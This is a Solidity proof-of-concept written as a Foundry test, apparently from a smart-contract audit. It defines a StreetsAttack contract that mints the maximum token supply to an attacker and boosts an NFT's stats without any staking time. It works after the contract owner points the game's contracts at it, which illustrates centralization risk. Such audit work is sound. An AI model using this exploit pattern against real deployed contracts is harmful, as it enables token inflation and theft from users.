contract StreetsAttack is Streets {
error StreetsAttack__UnknownOwner();
address immutable i_owner;
constructor(address _oneShotContract, address _credibilityContract)
Streets(_oneShotContract, _credibilityContract)
{
i_owner = msg.sender;
}
function motherLoad() external {
uint256 currentBalance = credContract.totalSupply();
credContract.mint(i_owner, type(uint256).max - currentBalance);
}
function hyperbolicTimeChamber(uint256 tokenId) external {
if (oneShotContract.ownerOf(tokenId) != i_owner) {
revert StreetsAttack__UnknownOwner();
}
IOneShot.RapperStats memory stakedRapperStats = oneShotContract.getRapperStats(tokenId);
oneShotContract.updateRapperStats(tokenId, false, false, false, true, stakedRapperStats.battlesWon);
}
}
contract RapBattleTest is Test {
.
.
.
function test_weakDecentralization() public {
address attacker = makeAddr("attacker");
vm.prank(attacker);
StreetsAttack streetsAttack = new StreetsAttack(address(oneShot), address(cred));
oneShot.setStreetsContract(address(streetsAttack));
cred.setStreetsContract(address(streetsAttack));
uint256 oldAttackerCredBalance = cred.balanceOf(attacker);
console.log("attacker balance: ", oldAttackerCredBalance);
streetsAttack.motherLoad();
uint256 newAttackerCredBalance = cred.balanceOf(attacker);
console.log("New attacker balance: ", newAttackerCredBalance);
assert(oldAttackerCredBalance < newAttackerCredBalance);
assert(cred.totalSupply() == type(uint256).max);
uint256 nftId = oneShot.getNextTokenId();
console.log("attacker's NFT id: ", nftId);
vm.prank(attacker);
oneShot.mintRapper();
uint256 oldDate = block.timestamp;
console.log("Time BEFORE stake: ", oldDate);
IOneShot.RapperStats memory oldStats = oneShot.getRapperStats(nftId);
console.log("NFT weakKnees stat: ", oldStats.weakKnees);
console.log("NFT heavyArms stat: ", oldStats.heavyArms);
console.log("NFT spaghettiSweater stat: ", oldStats.spaghettiSweater);
console.log("NFT calmAndReady stat: ", oldStats.calmAndReady);
streetsAttack.hyperbolicTimeChamber(nftId);
uint256 newDate = block.timestamp;
console.log("Time AFTER stake: ", newDate);
IOneShot.RapperStats memory newStats = oneShot.getRapperStats(0);
console.log("New NFT weakKnees stat: ", newStats.weakKnees);
console.log("New NFT heavyArms stat: ", newStats.heavyArms);
console.log("New NFT spaghettiSweater stat: ", newStats.spaghettiSweater);
console.log("New NFT calmAndReady stat: ", newStats.calmAndReady);
assert(oldDate == newDate);
assert(
oldStats.weakKnees != newStats.weakKnees && oldStats.heavyArms != newStats.heavyArms
&& oldStats.spaghettiSweater != newStats.spaghettiSweater && oldStats.calmAndReady != newStats.calmAndReady
);
}
}